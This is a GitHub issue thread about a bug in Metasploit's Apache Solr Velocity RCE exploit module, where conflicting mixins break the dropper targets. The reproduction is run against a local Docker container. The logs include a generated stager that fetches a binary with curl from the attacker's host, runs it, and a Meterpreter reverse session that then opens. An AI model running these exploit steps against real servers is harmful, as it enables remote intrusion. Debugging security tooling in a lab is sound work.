Command Stager targets don't work in solr_velocity_rce exploit

[errorxyz]

There is a bug introduced in #14509 which adds a java target for the solr_velocity_rce module. In doing so, it includes the Msf::Exploit::Remote::Java::HTTP::ClassLoader mixin to handle java targets which overrides the on_request_uri method that is defined by the Msf::Exploit::CmdStager::HTTP mixin which was included to handle command stager targets, essentially breaking the workflow of command stager targets.

Setup

1. docker pull solr:8.3.0
2. docker run --name solr_demo -d -p 8983:8983 solr:8.3.0 solr-demo

Steps to reproduce

1. start msfconsole
2. use exploit/multi/http/solr_velocity_rce
3. set required options
4. set target 2
5. run

Were you following a specific guide/tutorial or reading documentation?

While working on this PR, I tried to find similar modules that have a java target as well as dropper ones to find out how to handle the conflicting on_request_uri method for different targets, leading me to this module and bug.

Expected behavior

The exploit should create a new session

Current behavior

Exploit doesn't create a new session

msf6 exploit(multi/http/solr_velocity_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
    0   Java (in-memory)
    1   Unix (in-memory)
=>  2   Linux (dropper)
    3   x86/x64 Windows PowerShell
    4   x86/x64 Windows CmdStager
    5   Windows Exec

msf6 exploit(multi/http/solr_velocity_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] 172.17.0.2:8983: Authentication not required
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 6.6.9-amd64
[*] Full uname is 'Linux 5c1838f8f709 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux'
[*] Found core(s): demo
[+] Found Velocity Response Writer in use by core 'demo'
[*] Writer config: {"startup"=>"lazy", "name"=>"velocity", "class"=>"solr.VelocityResponseWriter", "params.resource.loader.enabled"=>"true"}
[+] params.resource.loader.enabled for core 'demo' is set to true.
[*] Targeting core 'demo'
[+] params.resource.loader.enabled is true for core 'demo'
[*] Using URL: http://172.17.0.1:8080/lkDGtpj/
[*] Generated command stager: ["curl -so /tmp/iHioRJJZ http://172.17.0.1:8080/lkDGtpj/;chmod +x /tmp/iHioRJJZ;/tmp/iHioRJJZ;rm -f /tmp/iHioRJJZ"]
[*] GET /lkDGtpj/ requested
[-] Sending 404
[*] Command Stager progress - 100.00% done (144/144 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.

Metasploit version

Framework: 6.3.56-dev-4dc21bae45
Console  : 6.3.56-dev-4dc21bae45

[errorxyz]

The fix used in the original PR was to override the on_request_uri method again to handle requests based on the target as such:

def on_request_uri(cli, request)
  case target['Type']
  when :java
    super(cli, request)
  else
    client = cli.peerhost
    print_status("Client #{client} requested #{request.uri}")
    print_status("Sending payload to #{client}")
    send_response(cli, exe)
  end
end

The else block is copy pasted from the Msf::Exploit::CmdStager::HTTP module. I think this design isn't the best solution as it reduces code readability and should be fixed from the library side.

[errorxyz]

On removing the inclusion of Msf::Exploit::Remote::Java::HTTP::ClassLoader in the exploit and running it again, setting target to 2 Linux (dropper) results in a meterpreter shell:

msf6 exploit(multi/http/solr_velocity_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
    0   Java (in-memory)
    1   Unix (in-memory)
=>  2   Linux (dropper)
    3   x86/x64 Windows PowerShell
    4   x86/x64 Windows CmdStager
    5   Windows Exec


msf6 exploit(multi/http/solr_velocity_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] 172.17.0.2:8983: Authentication not required
[*] Found Apache Solr 8.3.0
[*] OS version is Linux amd64 6.6.9-amd64
[*] Found core(s): demo
[+] Found Velocity Response Writer in use by core 'demo'
[+] params.resource.loader.enabled for core 'demo' is set to true.
[*] Targeting core 'demo'
[+] params.resource.loader.enabled is true for core 'demo'
[*] Using URL: http://172.17.0.1:8080/d6MR9fce
[*] Client 172.17.0.2 (curl/7.52.1) requested /d6MR9fce
[*] Sending payload to 172.17.0.2 (curl/7.52.1)
[*] Sending stage (1017704 bytes) to 172.17.0.2
[*] Command Stager progress - 100.00% done (144/144 bytes)
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.17.0.2:38904) at 2024-02-09 03:12:39 +0530
[*] Server stopped.

meterpreter > 

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[errorxyz]

Will be fixed by #18829

[Mohamedwaheed57]

Mohamed waheed